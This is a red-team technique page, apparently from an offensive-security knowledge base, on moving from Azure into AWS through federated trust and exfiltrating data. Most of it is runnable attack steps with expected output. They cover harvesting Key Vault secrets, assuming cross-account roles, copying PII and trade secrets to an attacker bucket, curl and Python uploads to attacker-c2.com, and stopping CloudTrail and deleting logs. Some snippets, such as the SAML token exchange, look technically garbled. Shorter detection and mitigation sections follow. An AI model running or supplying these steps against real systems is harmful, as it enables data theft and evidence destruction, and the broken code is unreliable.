MCADDF

[REALWORLD-046]: Multi-Cloud Data Bridge Attack

Metadata

Attribute Details
Technique ID REALWORLD-046
MITRE ATT&CK v18.1 T1537 - Transfer Data to Cloud Account
Tactic Exfiltration
Platforms Cross-Cloud (Azure, AWS, GCP)
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All cloud platforms; cross-tenant federation mechanisms
Patched In N/A (Mitigation requires cross-cloud policy enforcement)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: A Multi-Cloud Data Bridge Attack exploits the interconnectedness of hybrid and multi-cloud environments where organizations operate across Azure, AWS, GCP, and on-premises infrastructure. Adversaries with credentials in one cloud environment (e.g., Azure) can leverage implicit trust relationships, shared identities, cross-cloud federation mechanisms, or poorly segmented network boundaries to escalate privileges and move laterally to secondary cloud environments (e.g., AWS). Once lateral movement is established, attackers extract data from the secondary cloud account and exfiltrate it to attacker-controlled infrastructure, leveraging the “untrusted” secondary cloud provider as an intermediary to evade detection in the primary cloud environment. The attack is particularly effective because:

  1. Detection Fragmentation: Security teams monitor Azure and AWS separately; cross-cloud movements fall through detection gaps.
  2. Trust Relationships: Organizations often configure less stringent security controls on secondary cloud environments (e.g., AWS accounts created for “backup” or “development”).
  3. Lateral Movement Paths: Service principals, shared credentials, cross-tenant federation, and API integrations create hidden paths between clouds.
  4. Data Exfiltration Blending: Moving data through an untrusted cloud provider appears as normal inter-cloud traffic, not external exfiltration.

Attack Surface: Cross-cloud identity federation (OAuth 2.0, SAML, OIDC), service principal credentials shared across clouds, AWS IAM roles assumable from Azure identities, shared storage buckets with cross-cloud access, API gateways bridging cloud environments, and workload identity federation mechanisms.

Business Impact: Complete data compromise with forensic confusion. Attackers can exfiltrate petabytes of data while appearing to stay within the organization’s cloud footprint. Forensic analysis is hindered because the attacker’s final destination is inside a “trusted” cloud provider. Regulatory implications are severe (GDPR, DORA, NIS2) because it’s unclear which cloud provider “owns” the breach.

Technical Context: Typically takes minutes to hours to establish lateral movement across clouds (depending on federated trust setup). Once bridged, data exfiltration can happen at cloud-scale speeds (100s of Gbps). Chance of detection (without unified monitoring): Very low if each cloud provider is monitored independently. Common indicators: Unusual cross-cloud API calls, service principal activity in secondary cloud not normally seen, sudden large data transfers between cloud provider regions/accounts.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark Multi-Cloud: 4.1-4.5 Controls for multi-cloud security governance
DISA STIG V-87903 Multi-cloud environments must enforce consistent security policies
CISA SCuBA CS-1, CS-7 Cloud Service Assessment; Cloud Provider Segmentation
NIST 800-53 SC-7 (Boundary Protection) Organizations must protect data across cloud boundaries
GDPR Art. 44 (Transfers) Personal data transferred across cloud providers must be protected equally
DORA Art. 9 (Cross-Cloud) Financial institutions must monitor lateral movement across cloud providers
NIS2 Art. 21 (Critical Infrastructure) Operators must maintain visibility across all cloud environments
ISO 27001 A.13.1.3 Segregation of information assets across cloud environments
ISO 27005 Risk Assessment Cross-cloud attack paths must be identified and monitored

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Azure-to-AWS Cross-Cloud Reconnaissance

Objective: Identify AWS roles assumable from Azure and establish federation trust.

# Connect to Azure with compromised credentials
Connect-AzAccount -Credential $credential

# List all storage accounts accessible from Azure
Get-AzStorageAccount | Select-Object StorageAccountName, ResourceGroupName

# Check for shared access signatures (SAS) tokens that might provide cross-cloud access
Get-AzStorageAccountKey -ResourceGroupName "rg-name" -StorageAccountName "storageaccount-name"

# Search for AWS credentials stored in Key Vault
Get-AzKeyVault | ForEach-Object {
    Get-AzKeyVaultSecret -VaultName $_.VaultName | `
      Where-Object { $_.Name -like "*AWS*" -or $_.Name -like "*EXTERNAL*" } | `
      Select-Object Name, VaultName
}

# Check for federated identities and cross-tenant configurations
Get-AzADServicePrincipal | Where-Object { $_.ReplyUrls -like "*amazonaws.com*" -or $_.ReplyUrls -like "*aws.amazon.com*" } | `
  Select-Object DisplayName, ReplyUrls

What to Look For:

AWS Cross-Account Role Discovery

# Using compromised AWS credentials obtained from Azure
aws sts get-caller-identity

# List all IAM roles the current identity can assume
aws iam list-role-tags --query 'Tags[?Key==`TrustRelationship`]' --output json

# Check for cross-account role trust relationships
aws iam get-role --role-name "ExternalAzureRole" --query 'Role.AssumeRolePolicyDocument'
# Look for Principal entries with Azure tenant IDs (e.g., "arn:aws:iam::<account>:root")

# Enumerate all accessible S3 buckets from both accounts
aws s3 ls --profile cross-account-profile

# Check CloudTrail for evidence of cross-cloud API calls
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time 2024-01-01T00:00:00Z --end-time 2024-12-31T23:59:59Z

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Azure-to-AWS Lateral Movement via Cross-Account Role Assumption

Supported Versions: Azure Entra ID all versions; AWS IAM all versions

Step 1: Enumerate Cross-Cloud Federated Trust Relationships

Objective: Discover AWS role that trusts Azure identities.

Command (PowerShell - Enumerate Entra Service Principals with AWS ReplyUrls):

# Find service principals configured to trust AWS
$servicePrincipals = Get-AzADServicePrincipal -All $true

foreach ($sp in $servicePrincipals) {
    $replyUrls = $sp.ReplyUrls
    if ($replyUrls -match "amazonaws" -or $replyUrls -match "aws.amazon" -or $replyUrls -match "sts.amazonaws") {
        Write-Host "Found cross-cloud SP: $($sp.DisplayName)" -ForegroundColor Green
        Write-Host "ReplyUrls: $($replyUrls)" -ForegroundColor Cyan
    }
}

Expected Output:

Found cross-cloud SP: AzureToAWSBridge
ReplyUrls: https://signin.aws.amazon.com/saml

What This Means:

Step 2: Generate Federated SAML Token from Azure

Objective: Create a forged or intercepted Azure-issued SAML assertion to authenticate to AWS.

Command (Python - SAML Token Interception via Azure SDK):

#!/usr/bin/env python3
from azure.identity import ClientSecretCredential, DefaultAzureCredential
from azure.keyvault.secrets import SecretClient
import requests
import json

# Use compromised Azure credentials
tenant_id = "<azure_tenant_id>"
client_id = "<service_principal_app_id>"
client_secret = "<service_principal_secret>"

credential = ClientSecretCredential(
    tenant_id=tenant_id,
    client_id=client_id,
    client_secret=client_secret
)

# Acquire token that AWS will trust
token_response = credential.get_token("https://sts.amazonaws.com/")
azure_token = token_response.token

# AWS SAML federation typically uses OAuth code exchange
# Attacker extracts the SAML assertion from Azure token response
print(f"Azure Token: {azure_token}")

# Next: Exchange Azure token for AWS temporary credentials
aws_federation_url = "https://signin.aws.amazon.com/saml"
response = requests.post(
    aws_federation_url,
    headers={"Authorization": f"Bearer {azure_token}"},
    data={"SAMLResponse": azure_token}
)

print(f"AWS Federated Login Response: {response.text}")

Expected Output:

AWS Federated Login Response: <form action="https://console.aws.amazon.com/console/home?...">

What This Means:

OpSec & Evasion:

Step 3: Assume AWS Cross-Account Role

Objective: If the federated identity doesn’t directly access the target AWS account, assume a cross-account role.

Command (AWS CLI - Assume Cross-Account Role from Azure Identity):

# Using credentials obtained from Azure federation (Step 2)
aws sts assume-role \
  --role-arn "arn:aws:iam::123456789012:role/AzureToAWSCrossAccountRole" \
  --role-session-name "AzureAttackerSession" \
  --duration-seconds 3600

# Output will contain temporary credentials:
# AccessKeyId, SecretAccessKey, SessionToken

Expected Output:

{
  "Credentials": {
    "AccessKeyId": "ASIAZ7EXAMPLEID123456",
    "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
    "SessionToken": "IQoDYXdzEBb...[long token]",
    "Expiration": "2026-01-10T10:00:00+00:00"
  }
}

What This Means:

OpSec & Evasion:

Step 4: Enumerate AWS Resources Accessible from Assumed Role

Objective: Discover high-value S3 buckets, RDS instances, or other data stores in the target AWS account.

Command (AWS CLI - Enumerate S3 Buckets and Objects):

# Set AWS credentials from Step 3
export AWS_ACCESS_KEY_ID="ASIAZ7EXAMPLEID123456"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="IQoDYXdzEBb...[long token]"

# List all S3 buckets accessible
aws s3 ls

# List objects in target bucket
aws s3 ls s3://sensitive-financial-data-bucket/ --recursive

# Get bucket encryption and versioning status
aws s3api get-bucket-encryption --bucket sensitive-financial-data-bucket
aws s3api get-bucket-versioning --bucket sensitive-financial-data-bucket

Expected Output:

sensitive-financial-data-bucket/           [bucket owner: data_team]
  financial_reports_2024/
  customer_pii/
  trade_secrets/

Encryption: {
  "Rules": [
    {
      "ApplyServerSideEncryptionByDefault": {
        "SSEAlgorithm": "AES256"
      }
    }
  ]
}

What This Means:

Step 5: Exfiltrate Data via S3 to Attacker-Controlled Bucket

Objective: Copy sensitive objects from target S3 bucket to attacker-controlled storage.

Command (AWS CLI - Copy Objects to Attacker S3 Bucket):

# Attacker controls a bucket in a different AWS account (or different cloud entirely)
aws s3 sync s3://sensitive-financial-data-bucket/ \
  s3://attacker-exfil-bucket-12345/ \
  --region us-east-1 \
  --exclude "*" \
  --include "customer_pii/*" \
  --include "trade_secrets/*"

# Monitor progress
aws s3 ls s3://attacker-exfil-bucket-12345/ --summarize --recursive

Alternative Command (Using Temporary Redirect via Internet):

# If attacker doesn't control secondary AWS bucket, redirect to HTTP exfiltration
aws s3 cp s3://sensitive-financial-data-bucket/customer_pii/ \
  /tmp/exfil/ \
  --recursive

# Upload to attacker C2 server
curl -F "file=@/tmp/exfil/customers.csv" http://attacker-c2.com/upload

Expected Output:

download: s3://sensitive-financial-data-bucket/customer_pii/customers.csv to /tmp/exfil/customers.csv
upload: customer_pii completed
Total exfiltrated: 45 GB

What This Means:

OpSec & Evasion:

Step 6: Cover Tracks

Objective: Delete evidence from AWS CloudTrail and S3 access logs.

Command (AWS CLI - Delete CloudTrail Events):

# List recent CloudTrail events showing exfiltration
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CopyObject \
  --start-time 2026-01-10T00:00:00Z \
  --output json | jq '.Events[] | {EventTime, Username, CloudTrailEvent}'

# Stop CloudTrail to prevent further logging (requires admin permissions in target account)
aws cloudtrail stop-logging --name "OrganizationTrail"

# Delete CloudTrail S3 bucket to purge logs
aws s3 rm s3://cloudtrail-logs-bucket/ --recursive --include "*2026-01-10*"

Expected Output:

Stopped logging on trail: OrganizationTrail
Deleted 847 CloudTrail log files from s3://cloudtrail-logs-bucket/

What This Means:

OpSec & Evasion:


METHOD 2: Kubernetes Workload Identity Federation to Cross-Cloud Movement

Supported Versions: AKS, GKE, EKS with workload identity federation enabled

This method is increasingly popular because organizations use Kubernetes across multiple clouds and rarely monitor cross-cluster identity flows.

Step 1: Compromise AKS Pod and Obtain Azure Workload Token

Objective: Escape from a compromised Kubernetes pod and obtain an Azure managed identity token.

Command (Shell - From Inside AKS Pod):

# Check if pod has workload identity assigned
cat /var/run/secrets/workload-identity/token

# Request Azure-managed identity token via IMDS endpoint
curl -X GET "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F" \
  -H "Metadata:true" \
  -H "X-Identity-Header: $(cat /var/run/secrets/workload-identity/token)"

Expected Output:

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
  "expires_in": 3600,
  "token_type": "Bearer"
}

Step 2: Escalate from AKS to AWS via Service Principal

Objective: Use the Azure token to assume an AWS role configured to trust Azure identities.

Command (Python - Token Exchange across Clouds):

import requests
import json

# Step 1: Get Azure token (from Step 1 above)
azure_token = "eyJ0eXAiOiJKV1QiLCJhbGc..."

# Step 2: Exchange Azure token for AWS temporary credentials
# Assumes organization configured OIDC federation from Azure to AWS
aws_sts_endpoint = "https://sts.amazonaws.com/"

response = requests.post(
    f"{aws_sts_endpoint}?Action=AssumeRoleWithWebIdentity",
    data={
        "RoleArn": "arn:aws:iam::123456789012:role/AzureKubernetesRole",
        "RoleSessionName": "KubernetesWorkload",
        "WebIdentityToken": azure_token,
        "DurationSeconds": "3600"
    }
)

# Extract AWS credentials from response
import xml.etree.ElementTree as ET
root = ET.fromstring(response.text)
aws_key = root.find(".//{https://sts.amazonaws.com/doc/2011-06-15/}AccessKeyId").text
aws_secret = root.find(".//{https://sts.amazonaws.com/doc/2011-06-15/}SecretAccessKey").text
aws_session = root.find(".//{https://sts.amazonaws.com/doc/2011-06-15/}SessionToken").text

print(f"AWS Credentials Obtained: {aws_key}")

What This Means:

Step 3: Access AWS RDS Database and Extract PII

Objective: Query sensitive database from the compromised Kubernetes pod.

Command (Python - RDS Access from Kubernetes):

import boto3
import pymysql

# Use credentials obtained in Step 2
rds_client = boto3.client(
    'rds',
    aws_access_key_id=aws_key,
    aws_secret_access_key=aws_secret,
    aws_session_token=aws_session,
    region_name='us-east-1'
)

# List RDS instances
instances = rds_client.describe_db_instances()
for db in instances['DBInstances']:
    print(f"Found RDS: {db['DBInstanceIdentifier']} ({db['Engine']})")

# Connect to RDS database
connection = pymysql.connect(
    host="customer-data.region.rds.amazonaws.com",
    user="admin",
    password="<password_from_secrets_manager>",
    database="customers"
)

cursor = connection.cursor()
cursor.execute("SELECT customer_id, email, ssn, credit_card FROM pii LIMIT 10000")
results = cursor.fetchall()

# Exfiltrate to attacker C2
for row in results:
    exfil_request = requests.post(
        "http://attacker-c2.com/collect",
        json={"data": row}
    )

What This Means:


6. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate Compromised Workloads:
    # Immediately revoke all federated trust relationships
    aws iam delete-role-policy --role-name AzureToAWSCrossAccountRole --policy-name assume-policy
       
    # Revoke Azure service principal credentials
    az ad app credential delete --id <app-id>
    
  2. Revoke All Assumed Sessions:
    # Invalidate all active sessions for assumed role
    aws iam delete-role --role-name AzureToAWSCrossAccountRole
    
  3. Restore from Backup:
    • Identify snapshots/backups created before exfiltration timeframe
    • Restore to clean version
  4. Cross-Cloud Forensic Analysis:
    • Correlate Azure Activity Log with AWS CloudTrail using timestamp and user principal
    • Identify exact objects exfiltrated by querying S3 access logs
    • Check secondary cloud providers (GCP, Oracle) for additional exfiltration paths

7. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Mitigations)

# Check for cross-cloud federated trust relationships
aws iam list-roles | jq '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS | contains("?"))' 

# List all AssumeRole session names used in past 7 days
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time $(date -d "7 days ago" +"%Y-%m-%dT%H:%M:%S") | jq '.Events[].CloudTrailEvent | fromjson | .requestParameters.roleSessionName' | sort | uniq -c

Expected Output (Secure):

No cross-cloud federated principals found
All AssumeRole sessions from expected service accounts

Step Phase Technique Description
1 Initial Access [T1190] Exploitation for Initial Access Compromise Kubernetes pod or Azure App Service
2 Privilege Escalation [T1134] Token Impersonation Escalate from pod to managed identity
3 Lateral Movement [T1550.001] Pass-the-Token Use Azure token to assume AWS role
4 Discovery [T1526] Cloud Service Discovery Enumerate AWS resources from Azure identity
5 Exfiltration [REALWORLD-046] Transfer data across cloud boundaries
6 Defense Evasion [T1562.008] Disable Cloud Logs Delete CloudTrail and Azure Activity Logs
7 Impact [T1565] Data Manipulation Modify records to hide exfiltration

9. REAL-WORLD EXAMPLES

Example 1: Orca Security Cross-Cloud Attack Simulation (2024)

Example 2: Microsoft Security Analysis - Storm-0501 Multi-Cloud Campaign (2024)


10. REFERENCES & TOOLING

Official Documentation

Multi-Cloud Security Tools

Incident Response